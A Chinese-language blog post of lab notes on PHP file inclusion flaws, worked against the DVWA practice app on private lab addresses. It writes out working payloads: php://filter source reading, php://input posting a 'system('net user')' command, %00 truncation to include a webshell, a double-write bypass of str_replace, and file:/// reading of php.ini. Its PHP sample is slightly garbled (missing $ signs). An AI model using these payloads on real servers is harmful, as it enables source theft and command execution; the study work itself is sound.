美文网首页
5.文件包含漏洞

5.文件包含漏洞

作者: 皮蛋是个臭蛋 | 来源:发表于2020-08-04 23:39 被阅读0次

    1、包含漏洞分类
    本地包含,
    远程包含:前提条件是需要 allow_url_include=on 和magic_quotes_gpc=off
    2、远程包含要成功需要具备那2个条件
    allow_url_include=on 和magic_quotes_gpc=off
    3、包含漏洞常用4个涵数分别是什么
    include() 、include_once()、require()、require_once()

    5、完成包含漏洞命令执行、文件读取实验、%00截断、str_replace、fnmatch涵数绕过实验

    1.php包含读文件:
    在命令行输入
    http://192.168.60.86:200/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=1.php
    [图片上传中...(image.png-8a5b20-1596550675461-0)]
    访问之后得到被base64位加密之后的内容:

    image.png

    2.php包含写文本:(php协议,file协议)
    构造URL: http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post数据为:<?php system('net user');?>

     注意:只有在allow _url_include为on的时候才可以使用,如果想查看回显结果那必须在C:\php\php-5.2.14-Win32下找到php-apache2handler.ini打开,查找display_funtions=proc-open,oppen,exec,system…….删掉system重启apache。
    
    image.png
    1. 包含截断绕过
      <?php
      if(isset(_GET['page'])){ include_GET['page'] .".php" ;
      }else{
      include 'home.php';
      }
      ?>
      代码只允许php文件执行,此时上传jpg文件是不被允许的,可以使用%00,
      page改成webshell.jpg%00 (webshell.jpg%00.jpg经过url转码后会变为webshell.jpg\000.php),最后保存下来的文件就是webshell.jpg
      这种方法只适合于magic_quotes_gpc=off的时候, php版本小于5.3.4,可通过%00截断绕过,不过现在已经很难见到了。
      image.png

    4.str_replace函数绕过

    使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。

    例如page=hthttp://tp://192.168.0.103/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.0.103/phpinfo.txt,成功执行远程命令。
    同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。

    image.png

    5.fnmatch函数绕过(file协议)
    if(!fnmatch("file",file)&&file!="include.php"),当文件既不是"include.php"也不是"file"(文件名file开头)时才抛出错误。反之意思,如果文件名符合其中一个条件既可以。page=file:///C:/xampp/htdocs/dvwa/php.ini 刚好满足"file*"(文件名file开头)。

    image.png image.png

    相关文章

      网友评论

          本文标题:5.文件包含漏洞

          本文链接:https://www.haomeiwen.com/subject/fwcgrktx.html